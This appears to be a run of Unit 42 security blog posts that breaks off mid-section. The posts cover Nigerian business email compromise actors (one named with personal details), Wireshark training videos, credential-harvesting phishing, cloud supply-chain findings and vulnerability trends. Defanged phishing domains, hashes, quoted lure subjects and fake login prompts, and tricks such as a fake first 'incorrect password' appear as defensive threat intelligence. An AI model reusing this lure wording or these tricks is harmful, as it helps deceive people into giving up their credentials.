  • Example A – Onuegwu Ifeanyi, also known as “SSG Toolz,'' was arrested by the NFP in November 2020. Having studied computer science at Imo State University, he launched Ifemonums-Solution LTD as a legitimate business venture in late 2014. That same year, he began his criminal activities, and from 2014 until his arrest, he registered over 150 malicious domains for personal use and to support other actors. Examples include us-military-service[.]com, starwooclhotels[.]com, and gulf-capital[.]net. Many of these domains also served as command and control infrastructure for over 2,200 samples of malware, including Pony, LokiBot, PredatorPain, ISRStealer, ISpySoftware, Remcos and NanoCore. In 2016, he was one of the most active members in the now-defunct “wirewire com” Facebook group, having sponsored 30 other actors to a group focused on performing fraudulent wire transfers. Today his social media portrays a successful businessman, married, with children, driving a Range Rover and traveling the world to places like France, the United Kingdom, Italy and Malta.
Onuegwu Ifeanyi, also known as "SSG Toolz," poses next to a Plymouth Prowler.
Figure 2. Onuegwu Ifeanyi posing next to a Plymouth Prowler.
  • Example B – This individual also studied at Imo State University. Between 2015 and 2018, he registered 180 domains using a mailing address associated with Jakarta, Indonesia. Several of these domains served as command and control servers for at least 55 samples of malware. Aside from revealing that he also owns a Range Rover, his social media account shows that the EFCC attempted to arrest him in 2018. While the arrest details are unknown, this actor felt compelled to boast about his release afterwards.
After the EFCC unsuccessfully attempted to make an arrest in 2018, the subject of the attempt wrote on social media, "God am so grateful for the life you give to me and my family. Shame to my enemies, Your plan for EFCC to bring me down to zero has fail. When you plan evil against someone, remember that God is there for that person. Therefore i have a very big God that is always by my side. EFCC had came and did their search, at the end i won the victory. I am too connected/loaded to go back to zero, is too late their enemies of progress. Thank you God for you are the Most High God."
Figure 3. Actor boasting after his arrest.
  • Example C – This actor studied at Lagos State University, is in his 20s and is unmarried. From 2016 to the present, he has registered 55 malicious domains. These domains are linked to over 480 samples of malware. Furthermore, based on the names of the domains, it appears that this actor is likely providing infrastructure to support other actors. Examples include: 247logss[.]info, fergologss[.]us, kinglogss[.]info , and nelsloggs[.]com. Serving as the exception to the rule, this actor is also quite public about his activities on social media. In 2017 he maintained a Facebook account with a background image that said “certified cybercriminal.” Presently, his personal Facebook account contains a background image of the Guy Fawkes/Anonymous mask.
A 2017 Facebook account for one threat actor included a background image of a faceless figure in a hoodie accompanied by the words, "Certified Cybercriminal."
Figure 4a. A 2017 Facebook profile picture.
A 2021 Facebook profile picture, showing a background image of the Guy Fawkes/Anonymous mask.
Figure 4b. A 2021 Facebook profile picture.

Malware and Business Email Compromise

From 2014 to the present, we have identified over 170,700 samples of malware directly attributed to Nigerian BEC actors. Representatively, this data set serves as the most comprehensive collection of BEC indicators of compromise (IoCs) across the cybersecurity industry. These samples have been observed in over 2.26 million phishing attacks targeting our customers across all industry verticals globally.

Over time, we have taken steps to characterize trends from this data set to empower network defenders. We observed that the period 2014-2017 was marked by steady growth in the adoption of information stealers like Pony, LokiBot, and AgentTesla. This was then followed by a decline in recent years as tool availability declined, and both industry detection rates and the technical skills of actors improved. As such, from 2018-2020, we witnessed a rapid adoption of RATs, with the most popular being NanoCore, Adwind, Remcos, Netwire and a home grown/Nigerian-developed variant of HWorm called WSH RAT.

Yet while we continue to see steady growth and adoption of RATs by SilverTerrier actors, our analysis of telemetry from 2020 through the first half of 2021 found it was also important to consider the influence that the global ecosystem has on their activity. In a pre-COVID world, it made sense to highlight new tools annually, as there were frequent changes in tools marketed to actors on cybercrime forums. While that continued to a certain extent throughout the pandemic, the reality is that we didn’t observe any significant shift among BEC actors toward new tools or capabilities over the past year and a half. Instead, our telemetry shows that these actors generally opted to stick with known tools with demonstrated capabilities and performance. In doing so, they focused their attention on adapting and tailoring their delivery campaigns to the shifting global environment.

If asked to consider the impact of the pandemic from a technology standpoint, many would quickly point out that much of the global workforce shifted to remote work arrangements. Depending on the size and resources of employers, employees began leveraging VPN solutions, employer-provided or personal computing devices, and home internet connections. These developments significantly changed how cybersecurity protections were applied across enterprises, more than any other event in the last decade. Furthermore, this shift may have even influenced employee risk tolerance (e.g. increased suspicion of phishing emails), as their work devices were now connected to their home networks. As a result, BEC actors saw a massive shift in the global attack surface that necessitated a change in their delivery themes and techniques.

In 2019 it was common to see BEC actors build new malware payloads as portable executable files (.exe files) and distribute them using phishing campaigns with business themes such as invoices or delivery notices. At the time, Microsoft Office file formats were also leveraged on occasion, adding a layer of complexity and obfuscation. Two of the most common techniques used in developing these documents included exploit code for CVE-2017-11882 or embedding a malicious macro. In both cases, upon opening, these documents were designed to call out, download and run a malicious payload from an online resource. However, across the totality of the samples we analyzed in 2019, only 3.5% used macros and only 3.6% used the CVE-2017-11882 technique.

As early as January 2020, phishing lures began to change to themes associated with the pandemic. Examples include “Coronavirus in Indonesia: Know how to protect and prevent yourself. Don’t get infected” and “Covid:19 Facial Masks - New Order.” As the themes changed, so too did the target audience and delivery packaging. Portable executables remained popular, but we observed a marked increase in Microsoft Word and Excel documents. By the end of the year, Microsoft Office documents with embedded macros remained steady at 3.5%, but documents utilizing the familiar and well-documented CVE-2017-11882 climbed to 13.5%.

Fortunately, CVE-2017-11882 is now a four-year-old vulnerability, and it makes sense that its effectiveness, and therefore its use, would fade over time. Conversely, macros have a more lasting presence as they are relatively easy to code and rely on unsuspecting victims to enable them. In reviewing our telemetry from the first half of 2021, our preliminary findings show only a minimal number of malware samples using the CVE technique, while 69% of all malware samples are now Office documents with embedded macros.

We know that the global pandemic has driven exponential change in various technologies supporting remote work (cloud computing, video conferencing, etc.). At the same time, we also acknowledge that the astonishing growth curve of malware packaged as Office documents – climbing from a combined 7% in 2019, to 17% in 2020, to 69% in 2021 – warrants further investigation. Taking a deeper look, we found that the raw number of malware samples packaged as Office documents halfway through 2021 already meets or far exceeds the annual number of samples we observed in previous years. As such, we remain confident that there is a definitive growth trend.

At the same time, we believe it is also critically important to understand that between mid-2020 and early 2021, almost every business on the planet revised their cybersecurity posture, changed appliances in their environment, re-architected their network traffic flows, and tightened their network security policies to support remote work practices. The effect of these changes must be considered when analyzing threat trends. Applied in combination and at a macro level, these adjustments significantly altered the visibility of threats across both the perimeter (firewall) and host (endpoint) levels. For example, attachments that may have been permitted following cybersecurity analysis in a corporate work environment may have become blocked by default in a remote work environment. Depending on implementation, such a change would reduce the visibility of threats for a cybersecurity company. Thus, it is nearly impossible to draw an even comparison between pre- and post-pandemic threat activity, as the collection posture across the entirety of the cybersecurity industry has shifted dramatically. We applied this lesson to our observations of malicious Office documents and assessed that our preliminary findings of 69% for 2021 are likely artificially inflated due to changes in collection posture over the past year. However, even after accounting for any artificial inflation, a clear growth pattern remains worthy of recognition by network defenders.

Combating BEC

As a global cybersecurity leader, Palo Alto Networks aggressively pursues its mission to be the cybersecurity partner of choice while protecting our digital way of life. In doing so, our focus extends well beyond the protections that our products and services provide to our customers. We seek to provide thought leadership and threat intelligence broadly across the community, while simultaneously working with law enforcement entities worldwide to thwart future threats.

We are not alone in our vision for stopping malicious cyber activity. Over the past few years, the cybersecurity community has teamed with law enforcement to achieve successful outcomes against this threat on several occasions. As a leader in the industry, we continue to promote such efforts and encourage others across our industry to do the same. One notable example is a joint arrest by Interpol and the EFCC in 2016 of an actor who stole more than $60 million from hundreds of victims, including $15.4 million from just one organization.

Two years later, in 2018, the FBI launched its first global campaign targeting BEC actors, which it called Operation WireWire. Over the course of six months and in close collaboration with Palo Alto Networks, FlashPoint, the National Cyber Forensics Training Alliance (NCFTA) and several others, law enforcement agencies were able to arrest 74 actors worldwide. Building off this trailblazing effort, a year later the FBI launched Operation Rewired, in which another 281 actors were arrested worldwide. This included 167 individuals that were arrested in Nigeria in close coordination with the EFCC.

In June 2020, a Nigerian social media influencer who goes by the handle “Hushpuppi” was arrested in Dubai. Though he was known for influencer activities such as posing next to private jets and luxury cars, he was subsequently indicted by the FBI for stealing over $24 million.

A social media influencer known as "Hushpuppi" poses with two luxury cars.
Figure 5. Hushpuppi’s social media photo.

Around the same time, we witnessed a significant shift in how U.S. law enforcement entities viewed the challenge of BEC actors operating beyond their reach internationally. While arrests and prosecutions are a vital part of the law enforcement process, it's also important to acknowledge that BEC is not a problem that we can solve solely through arrests. Other instruments of national power should be applied to this problem set. In June 2020, the United States Attorney's Office in the District of Nebraska opted to apply U.S. Treasury sanctions to six Nigerian BEC actors for the first time. This action was novel in that it demonstrated an ability to impose a cost on foreign cybercriminals by directly denying access to U.S. financial systems. It further made it illegal for individuals and organizations to transfer funds to these actors and significantly raised the consequences for money mules and others that assisted these actors in their crimes.

As a final example, in November 2020, Interpol, in conjunction with the NFP, arrested three Nigerian actors accused of using 26 different malware families to conduct BEC activities against victims in over 150 countries. Although the total losses are unknown, at the time of the arrest, law enforcement agents discovered a list of 50,000 victims targeted over the course of four years.

Combined, these examples highlight several of the major industry successes in combating BEC activities over the years. Consequently, they also cause us to pause and reflect on the challenges of combating this threat and the financial motives driving its continued existence. In terms of the latter, there is often speculation that because of the technical skills of these actors, it would be devastating if they began adopting ransomware. While such a transition is technically feasible, it is also unlikely for two reasons. First, BEC activities in Nigeria and elsewhere evolved from advanced fee style scams. These scams were generally considered culturally permissible in many places as they were perceived to be akin to jokes, pranks or fooling victims into transferring funds. Conversely, activities demanding ransom payments do not fit this model and tend to be culturally and ethically incongruent with this population of cyber actors. More specifically, it is common to see Nigerian actors speak out in disdain against kidnapping and other ransom-demanding events in their home country. Second, and equally important, it’s difficult to justify a financial motive for BEC actors to switch to ransomware. The examples above show two actors making $60 million and $24 million respectively from their BEC activities. Compare those numbers with the recent Colonial Pipeline ransomware event in which DarkSide demanded $4.4 million and kept almost none of it. It becomes easy to see why pursuing higher-risk, higher-visibility activities like ransomware may not be as appealing or financially profitable as the current BEC status quo.

Finally, as it applies to combating this threat, our experience has shown that the largest challenge is, surprisingly, the ability of law enforcement to identify victims. Given how these schemes work, most victims don’t discover the fraudulent wire transfer until days, weeks or months later. By that time, calling local authorities to investigate is often a moot point, as funds are irrecoverable, and therefore many victims opt not to report the crimes. Conversely, from the vantage point of law enforcement, BEC is a relatively unique form of cybercrime in that the actors perpetrating the crimes are often easily identifiable. Thus, in a reversal of expectations, it is common for investigators to spend considerable time and resources trying to find victims in their specific legal jurisdictions, as the actors themselves and their malware campaigns are already known. Because of this gap, we would conclude by encouraging all organizations who experience a BEC loss to report the event, regardless of timing or circumstances, to organizations like the Internet Crime Complaint Center (IC3). Doing so will tremendously aid efforts to continue combating this threat in the future.

Protections and Mitigations

The best defense against these evolving threats is a security posture that favors prevention. We recommend that organizations implement preventative practices including:

  1. Review network security policies, focusing on the types of files (portable executables, documents with macros, etc.) that employees can download and open on devices attached to company networks. Additionally, as a best practice, URL filtering rules should be established to restrict access by default to the following categories of domains: Newly Registered, Insufficient Content, Dynamic DNS, Parked and Malware.
  2. Routinely review mail server configurations, employee mail settings and connection logs. Focus efforts on identifying employee mail-forwarding rules and identifying foreign or abnormal connections to mail servers. When possible, consider implementing geo-IP blocking. For example, small local businesses do not need to allow logon attempts from foreign countries where they have no employees.
  3. Conduct employee training. Routine cyberthreat awareness training is one component; however, organizations should also consider tailored training focused on their sales and finance components. Such training should require all wire transfer requests to be validated using verified and established points of contact for suppliers, vendors and partners.
  4. Conduct tabletop exercises and rehearsal investigations with the intent of determining sources of evidence, as well as gaps in the types of evidence needed, and establishing reporting points of contact for the appropriate authorities. Additionally, rehearsals should validate familiarity with the financial fraud kill chain and make clear that staff know which personnel are responsible for enacting it.
  5. Conduct compromise assessments on an annual or more frequent basis to test organizational controls and validate that there is no unauthorized activity occurring in the environment. By reviewing mailbox rules and user login patterns on a regular basis, these assessments can verify that controls are functioning as expected and that unwanted behaviors are being effectively blocked throughout the environment.

Finally, for Palo Alto Networks customers, our products and services provide several capabilities designed to thwart BEC attempts, including:

Cortex XDR Cortex XDR protects endpoints from all malware, exploits and fileless attacks associated with SilverTerrier actors.
WildFire WildFire® cloud-based threat analysis service accurately identifies samples associated with information stealers, RATs and Microsoft Office document packaging techniques used by these actors.
Threat Prevention Threat Prevention provides protection against the known client and server-side vulnerability exploits, malware and command and control infrastructure used by these actors, including CVE-2017-11882
URL Filtering Advanced URL Filtering identifies all phishing and malware domains associated with these actors and proactively flags new infrastructure associated with these actors before it is weaponized.
AutoFocus Users of AutoFocus™ contextual threat intelligence service can view malware associated with these attacks using the SilverTerrier tag.

Conclusion

BEC schemes remain the most profitable and widespread form of cybercrime on the internet today. Last year, global losses from these crimes eclipsed $1.8 billion, and the threat shows no sign of slowing down. Reviewing the recent history of the threat, we have observed positive changes in the ecosystem as the culture in countries like Nigeria has become less tolerant of these activities, and law enforcement entities have stepped up their efforts to find, arrest and prosecute these actors. There is still plenty of work to be done to combat this threat as it shifts toward new delivery techniques in our rapidly evolving world. Commensurate with all of the changes we have seen and implemented in the cybersecurity domain over the past year, we encourage all organizations to invest in a thorough review of controls they have in place to protect against this threat.

Additional Resources

 

Wireshark Tutorial: Wireshark Workshop Videos Now Available

Executive Summary

Wireshark is a tool used to review packet captures (pcaps) of network activity. Since 2018, I have written various Wireshark tutorials and conducted in-person workshops at conferences across the globe. My in-person workshops were designed to help people in information security roles use Wireshark to review traffic from Windows-based malware infections.

Since early 2020, travel restrictions due to COVID-19 (the coronavirus) have halted these in-person workshops. Due to this setback, we want to announce an initial series of video tutorials developed to replicate most aspects of these formerly in-person workshops.

Wireshark Workshop Videos

The following are the first five videos of our Palo Alto Networks Unit 42 Wireshark Workshop:

Part 1: Introduction and Prerequisites - 14 minutes and 5 seconds

Part 2: Setting Up Wireshark - 23 minutes and 36 seconds

Part 3: Host Identification - 30 minutes and 19 seconds

Part 4: Non-Malicious Activity - 45 minutes and 38 seconds

Part 5: Introductions to Windows Malware Infections - 39 minutes and 11 seconds

These videos are designed to be watched sequentially, starting with “Part 1: Introduction and Prerequisites.” After Part 1, each workshop video builds on material covered in the previous video(s).

As the opportunity arises, I will create more Wireshark Workshop videos. Future videos will focus on traffic from specific families of Windows-based malware, and some will cover traffic from other malicious activities like phishing websites.

Supporting Material

Pcaps used for these Wireshark Workshop videos are available at this GitHub repository. The repository also contains PDF files of slides used for the workshop videos.

Wireshark Tutorials as Supplemental Material

The following Wireshark Tutorials were published before this initial series of Wireshark Workshop videos:

Combined with our five workshop videos, these Wireshark tutorials can help security professionals better understand Wireshark and various types of Windows-based malware infections.

Conclusion

This blog announced an initial series of five video tutorials for a Unit 42 Wireshark Workshop. These videos are designed to help people use Wireshark to review traffic from Windows-based malware infections. Combined with WIreshark Tutorials already published by Palo Alto Networks Unit 42, these videos can help security professionals build their skills in analyzing malicious traffic caused by Windows-based malware.

 

Credential Harvesting at Scale Without Malware

Executive Summary

While ransomware and ransomware-as-a-service (RaaS) attacks have dominated much of the cybersecurity community’s discussions over the past several months, criminals and hackers continue to compromise corporate, business and personal emails for financial gain. These scams, business email compromise (BEC) and personal email account compromise (EAC), continue to be the most pervasive and costly reported cyberthreats to users daily. In its latest annual report, the Federal Bureau of Investigation (FBI) identified that BEC and EAC accounted for at least $1.86 billion in losses within the U.S. in 2020, a 5% increase over losses reported in 2019. BEC and EAC accounted for 45% of all 2020 reported cybercrime losses in the U.S., and individuals over 60 years of age accounted for 11% of the reported victims.

By rough comparison, the largest known ransomware payoff to date is $40 million. The 2021 Unit 42 Ransomware Threat Report found that the average ransomware demand was $847,344 in 2020, while the average ransom paid by victims was $312,493. In the first half of 2021, the average ransom paid climbed 82% to $570,000. These figures for average ransom paid are conservative in that they only include direct monetary losses in paid ransoms. They do not include the losses associated with a company losing revenue while being forced to operate in a degraded state during an attack, and do not include resources spent investigating the breaches; they only include known attacks. Depending upon the nature of the attack and potential data breach, a company can choose not to report a ransomware attack. Ultimately, this choice makes it challenging for the cybersecurity and law enforcement communities to determine the full scope of these crimes.

One thing that all of these attacks – BEC, EAC and ransomware – have in common is that they require privileged access to targets’ networks or accounts. For most actors going against targets with average-to-below-average cyber defenses, masquerading as a legitimate user or correspondent to get into a network or account remains the easiest and most cost-effective way to gain clandestine access while maintaining a low risk of discovery. As advanced persistent threats (APTs) have shown and the United States and United Kingdom governments have observed, by using legitimate credentials and publicly available techniques, malicious actors can “evade defenses and collect and exfiltrate various information in the networks.” While the APTs are successfully meeting their campaign goals with brute force credential attacks, criminals, in many cases, are simply asking their unwitting victims to hand over their credentials.

Palo Alto Networks Next-Generation Firewall customers are protected with the Advanced URL Filtering security subscription and credential phishing prevention feature. In addition, Next-Generation Firewall customers are protected using the DNS Security subscription with its automatic malicious domain blocking and proactive detection capabilities.

Organizations can learn more about preventing email-based attacks such as credential harvesting with a Business Email Compromise (BEC) Readiness Assessment.

Evolving Techniques for Email Credential Harvesting

The lucrative nature of BEC/EAC scams drives criminals to continually modify and upgrade their tactics to defeat protections. One of the newer techniques integrates spear phishing, custom webpages and the complex cloud single sign-on ecosystem to trick users into unwittingly divulging their credentials. A prevalent tactic uses seemingly benign webpages that, once opened, closely mimic legitimate login screens for popular and often used services such as:

  • Office 365 and Outlook (login[.]microsoftonline[.]com)
  • Outlook and Hotmail (login[.]live[.]com)
  • Dropbox (www[.]dropbox[.]com/login)
  • Zimbra (mail[.]zimbra[.]com)

(Dropbox said in a statement, “This activity does not involve Dropbox's service. This demonstrates the increasing complexity of relying on customers to discern real from fake, and while this doesn't involve our service, we are always working with our trusted partners to be proactive and improve where and how customers are exposed to our brand and protect it accordingly.”)

When scammers use this tactic, it usually starts with a baited email enticing the recipient to open the attachment or click on the link to a webpage. The emails usually focus on some segment of business operations (including finance, human resources, logistics and general office operations) and point to an attachment or link related to topics requiring user action. These topics include remittances, invoices, outstanding payments, requests for quotes (RFQ), purchase confirmation, shipment status, voice mails or fax delivery via email, to name a few. To make the email seem more legitimate, some criminals integrate specific information about the target in meaningful ways, including within the subject of the email. Some recent email subjects include:

  • OneDrive Document to {username}
  • {Company Name} New FaxMail Received {DD/MM/YYYY}
  • {Company Name} New FaxMail Received {DDMMYYYY}
  • {username} 1 voice message received {M/D/YYYY}
  • VNotes transmitted to {username}
  • Mailbox Verification for {email address}

Once opened, the email presents the user with what appears to be a typical login page. In an attempt to lower suspicion, scammers often highlight the need for heightened security or that the service logged the user out. In some cases, the pages are sent with the user’s email address already included (again in an attempt to enhance the legitimacy of the request) and simply ask for the password. These misleading login screens have alerts such as:

  • You need to sign in with your email to ensure you are the rightful recipient of the protected file. File is protected by [insert security vendor] for Mail Servers.
  • To read the document, please enter with the valid email credentials that this file was sent to.
  • Because you're accessing sensitive info, you need to verify your password.
  • Authentication needed because you're accessing a sensitive document.
  • This device is not recognized. For security, [company name] want [sic] to make sure it's really you.
  • Your email account {username} has been signed out, click ok to sign in.
  • Please log in to your account to view secured files
  • You have been logged out! Please enter your correct Email and password!
  • Get to your documents from anywhere by signing into Office.
  • “Your password is security to view your fax message.
Credential harvesting often is accomplished through malicious login requests impersonating legitimate companies, such as the fake Microsoft login page shown here.
Figure 1a. Example of a malicious login request impersonating Microsoft, requiring credentials for document access.
A malicious login request impersonating Sharepoint, requiring credentials for document access.
Figure 1b. Example of a malicious login request impersonating SharePoint, requiring credentials for document access.
Another malicious login request impersonating Microsoft. Attackers often attempt to create a sense of legitimacy through the use of company logos as shown.
Figure 1c. Example of a malicious login request impersonating Microsoft, requiring credentials for document access.

Scammers are also adding clever tactics to further deceive users. In some instances, they are custom building their “login” templates to match the look and feel of the corporate email systems used by the specific companies they are targeting. In others, they are automatically detecting the affiliated company based on the domain portion of the user’s email address and then integrating that company’s logo into a fraudulent webpage.

To better accomplish credential harvesting, attackers sometimes use JavaScript such as that shown here to identify an organization from a victim's email address and incorporate its logo into followup pages.
Figure 2. Example of JavaScript used to identify an organization from a victim’s email address and then incorporate its logo into followup pages.

In addition, many criminals are adding logic into their code to ensure that credentials are accurately entered by the user. An incorrectly formatted email address or blank password will generate an error directing the user to retry. Some criminals are also automatically responding to the first correctly formatted attempt with "Incorrect password please try again." These techniques increase the likelihood of criminals receiving valid passwords and potentially reduces the suspicion of cautious users who perhaps first enter bogus credentials to see if the request is legitimate.

JavaScript such as that shown here can be used by attackers to validate credentials.
Figure 3. Example of JavaScript used to validate credentials.

Suppose scammers believe that their chances of getting a user to open a file attachment are too low or that they can create a somewhat believable fully qualified domain name. In that case, they can also simply point the user to a website on a legitimate hosting service where the above techniques are incorporated within a hosted page. Some of the recent malicious websites a user could mistakenly navigate to include:

  • excel-client-login[.]azurewebsites[.]net
  • excel-docs-storage[.]us-south[.]cf[.]appdomain[.]cloud
  • microsoftvoicemessage-office365voicemessage-releaseandlistentov[.]s3[.]eu-de[.]cloud-object-storage[.]appdomain[.]cloud
  • online-access-app[.]azurewebsites[.]net
  • redirect-office365[.]web[.]app

Once a user enters and submits credentials, the web browser sends the information in an HTTP post request to a URL most often ending in *.php. As a hypertext processor, PHP enables the scammer to easily capture any received credentials, decode them and store them within a database. In addition, while the web domains enabling these scams can be purchased and maintained by criminals, we see significant use of previously compromised and coopted legitimate domains to meet these scammers’ needs.

This malicious use of coopted legitimate infrastructure poses two primary challenges for network defenders. First, identifying the traffic as malicious is difficult due to it taking place between two potentially trusted networks. Second, blocking the legitimate domain, once identified as hosting malicious activities, is often not possible, as it would also block the domain’s legitimate and often required content. For these reasons as well as the zero cost, hackers are increasingly relying on coopted infrastructure to meet their desired ends.

To help keep users from becoming suspicious when they fail to log in to a fake site, scammers commonly incorporate one of the following:

  • Redirection to the legitimate site the user believes they are logging in to, which – if already logged in – will take them directly into their account, thereby increasing their sense of the request’s legitimacy.
  • A “service unavailable error” recommending they try again later.
  • A “file not found” error.
  • A “scanned file locked” error and “redirecting back to your account,” which then redirects the user back to their legitimate inbox.
  • Generic content.
  • Content custom-crafted for the phishing attempt.

Once criminals have valid user credentials, they are one step closer to defrauding a company or user of their money. Using the harvested credentials, a criminal will conduct an initial reconnaissance of the user’s documents, transactions and correspondence. Armed with this information, a criminal is now better informed to be able to: identify additional targets of value, understand normal business processes and approval chains, leverage the user’s documents or shared file access to create custom phishing documents, and use the account for financial gain or to pivot into more lucrative environments by masquerading as the account user.

Conclusion

Malicious tactics such as those described above can be very challenging for an enterprise or user to detect. In addition, most cybersecurity products will often not automatically detect these activities as malicious due to scammers using exact copies of legitimate webpages in their scams and not incorporating trojans, spyware, keyloggers or other malware into their harvesting attempts. Unit 42 researchers recommend the following to mitigate the risk of email compromise posed by the above tactics:

  • Implement multi-factor authentication for all business and personal accounts.
  • Continually update and train users on the evolving tactics and social engineering used in BEC/personal EAC scams.
  • Incorporate the Zero Trust mindset, “Never trust, always verify.”
  • Ensure users and administrators understand that even if a file successfully passes a virus scan, it could still have a malicious purpose.
  • Ensure users understand which services are single sign-on and the legitimate URLs for accessing those accounts.
  • Change passwords regularly, use one complex password per account and use a password manager to keep track of credentials.

Palo Alto Networks Next-Generation Firewall customers are protected with the Advanced URL Filtering security subscription and credential phishing prevention feature. In addition, Next-Generation Firewall customers are protected using the DNS Security subscription with its automatic malicious domain blocking and proactive detection capabilities.

Organizations can learn more about preventing email-based attacks such as credential harvesting with a Business Email Compromise (BEC) Readiness Assessment.

Hashes of Generic JavaScripts/HTML Used in These Techniques

Example of Basic JavaScript
e431d360ace31e17596b7017e1a11009aa3a02000d319919a266136ec11be479

Example of “+my_slice” and Re-Direction After Two Attempts
3ed082d4de4fe1d4155cb605276eecee07d11888c6cf45ffb7d9f00c6bc036b1

Example of “+my_slice” Repurposed by Actor Potentially Located in Southeast Asia
b920ac8eb9b1ac92e64fdd2df083dc7a84bca3dedcb42fd2b3959f76711607f7

Example that Prevents Shortcuts (Such as Ctrl-S) Using JavaScript KeyCodes
58ebf83741da3805955edfcf83f2b1af56a320d76954c243991fed92faeebe63

Additional Resources

Highlights From the Unit 42 Cloud Threat Report, 2H 2021

Introduction

High-profile software supply chain attacks such as SolarWinds and Kaseya VSA have shed a glaring light on the disparity between organizations’ perceptions of security within their cloud infrastructure, and the reality of threats in their supply chains that can impact business catastrophically.

In the Unit 42 Cloud Threat Report, 2H 2021, our researchers dive deep into the full scope of supply chain attacks in the cloud and explain often misunderstood details about how they occur. We also provide actionable recommendations any organization can adopt immediately to begin protecting their software supply chains in the cloud.

How the Research Was Conducted

We analyzed data from a variety of public data sources around the world in order to draw conclusions about the growing threats organizations face today in their software supply chains. In our analysis, we found:

  • 63% of third-party code templates used in building cloud infrastructure contained insecure configurations.
  • 96% of third-party container applications deployed in cloud infrastructure contain known vulnerabilities.

In addition to analyzing data, our researchers were commissioned by a large SaaS provider (a customer of Palo Alto Networks) to run a red team exercise against their software development environment. In just three days, a single Unit 42 researcher discovered critical software development flaws that left the customer vulnerable to an attack similar to those on SolarWinds and Kaseya VSA.

Key Findings

Poor Supply Chain Hygiene Impacts Cloud Infrastructure

The customer whose development environment was tested in the red team exercise has what most would consider a mature cloud security posture. However, their development environment contained several critical misconfigurations and vulnerabilities, enabling the Unit 42 team to take over the customer’s cloud infrastructure in a matter of days.

Third-Party Code != Secure Code

In most supply chain attacks, an attacker compromises a vendor and inserts malicious code in software used by customers. Cloud infrastructure can fall prey to a similar approach in which unvetted third-party code could introduce security flaws and give attackers access to sensitive data in the cloud environment. Additionally, unless organizations verify sources, third-party code can come from anyone, including an Advanced Persistent Threat (APT).

The Unit 42 Cloud Threat Report, 2H 2021, includes data from an analysis of public Terraform modules. The graph on the left shows the modules arranged by the number of misconfigurations they contain. The graph on the right shows the types of misconfigurations and their percentages.
Figure 1. As an example of the prevalence of misconfigurations, Unit 42 researchers analyzed public Terraform modules by number of misconfigurations (left) and types of misconfigurations and their percentages (right). Source: Unit 42 Cloud Threat Report, 2H 2021.

Organizations Need to Shift Security Left

Teams continue to neglect DevOps security, due in part to lack of attention to supply chain threats. Cloud native applications have a long chain of dependencies, and those dependencies have dependences of their own. DevOps and security teams need to gain visibility into the bill of materials in every cloud workload in order to evaluate risk at every stage of the dependency chain and establish guardrails.

Secure Your Software Supply Chain in the Cloud

While the report provides key knowledge about software supply chain attacks themselves, the main focus is on how you can protect your organization from this growing threat starting immediately.

Download your free copy of the Unit 42 Cloud Threat Report, 2H 2021, today to learn how common supply chain issues undermine security in the cloud and what you can do to gain confidence in your supply chain.

Additional Resources

Network Security Trends: May-July 2021

Executive Summary

Unit 42 researchers continue to observe network security trends, tracking how cybercriminals take advantage of vulnerabilities in the real world. The following sections present our analysis of the most recently published vulnerabilities, including their severity and category distribution. Additionally, we provide insight into how the vulnerabilities are exploited in the wild based on real-world data collected from Palo Alto Networks Next-Generation Firewalls. We highlight vulnerabilities ranked medium severity and above that were newly published from May-July 2021 in order to raise awareness of their active exploits in the wild. We then draw conclusions about the most commonly exploited vulnerabilities we observed attackers using, as well as the severity, category and origin of each attack. These observations underscore the need for prompt patching and use of security best practices, while providing insights organizations can use to focus their efforts when defending against cyberattacks.

Analysis of the Latest Published Vulnerabilities

In total, 5,308 new Common Vulnerabilities and Exposures (CVEs) were published from May-July 2021. The following sections rank many of these vulnerabilities in terms of their severity and the type of threat they represent. We believe tracking shifts in these distributions can provide insights into the latest network security trends and better equip defenders to protect their organizations against cybercriminals.

How Severe Are the Latest Vulnerabilities?

We focus on vulnerabilities categorized as medium severity and above. In this quarter, we monitored a total of 4,120 newly released severe vulnerabilities, ranging from medium to critical severity. We examined the proof of concept (PoC) ratio – a measure of whether a vulnerability has associated public exploit code – to better understand the potential risks. We use public sources to find PoCs, such as Exploit-DB, GitHub and Metasploit.

Severity Count Ratio PoC Availability
Critical 496 12.0% 8.3%
High 1777 43.1% 4.1%
Medium 1847 44.9% 4.1%

Table 1. Severity distribution for CVEs registered in May-July 2021.

Severity distribution for CVEs registered in May-July 2021: 44.8% medium, 43.1% high, 12.0% critical.
Figure 1. Severity distribution for CVEs registered in May-July 2021.

Compared with the previous quarter, the percent of vulnerabilities classified as critical decreased by 3.5 percentage points, and the percentage of medium ranked vulnerabilities is slightly higher than before. The PoC availability decreased, especially for the high and medium severity categories. These categories used to have PoC availability of 8.1% and 7.0%, respectively, but they both decreased to 4.1% for May-July. It is possible the vulnerabilities revealed in this quarter are not as useful for attackers to leverage; however, the critical vulnerabilities still have a high PoC availability, which could raise awareness to defenders.

Vulnerability Category Distribution

The vulnerability category is also important to understand – it contributes to determining the severity of a vulnerability and also relates to how feasible a vulnerability is for attackers to exploit. Out of the 4,120 newly published CVEs we focused on (medium to critical severity), 28.2% are classified as local vulnerabilities, requiring prior access to compromised systems, while the remaining 71.8% are remote vulnerabilities, which can be exploited over a network. The most common types of vulnerabilities newly disclosed publicly from May-July 2021 are shown below:

Ranking Vulnerability Category
1 Cross-Site Scripting
2 Information Disclosure
3 Denial of Service
4 Buffer Overflow
5 Privilege Escalation
6 Out-of-Bounds Write
7 Use-After-Free
8 SQL Injection
9 Out-of-Bounds Read
10 Code Execution

Table 2. CVEs registered in May-July 2021, organized by category and ranked in terms of which categories contain the most vulnerabilities.

Our monitoring of network security trends includes categorizing vulnerabilities by type and ranking the categories in terms of how many vulnerabilities they contain. The most common types of vulnerabilities from May-July 2021 were, in order, cross-site scripting, information disclosure, denial of service, buffer overflow, privilege escalation, out-of-bounds write, use-after-free, SQL injection, out-of-bounds read and code execution.
Figure 2. Vulnerability category distribution for CVEs registered in May-July 2021.

Cross-site scripting remains ranked first, and more information disclosure vulnerabilities were published this quarter than last quarter. At the same time, code execution vulnerabilities decreased in May-July 2021.

Network Security Trends: Analysis of the Latest Exploits in the Wild

Data Collection

By leveraging Palo Alto Networks Next-Generation Firewalls as sensors on the perimeter, Unit 42 researchers observed malicious activities from May-July 2021. We have analyzed more than 10 million sessions in total for this quarter. The malicious traffic is further processed based on metrics such as IP addresses, port numbers and timestamps. This ensures the uniqueness of each attack session and thus eliminates potential data skews. We filtered out and finalized 2.29 million valid malicious sessions. The researchers then correlated the refined data with other attributes to infer attack trends over time to get a picture of the threat landscape.

How Severe Were the Attacks Exploited in the Wild?

